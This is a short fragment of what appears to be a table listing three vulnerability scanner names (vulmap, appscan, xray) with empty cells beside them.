vulmap | |
appscan | |
xray |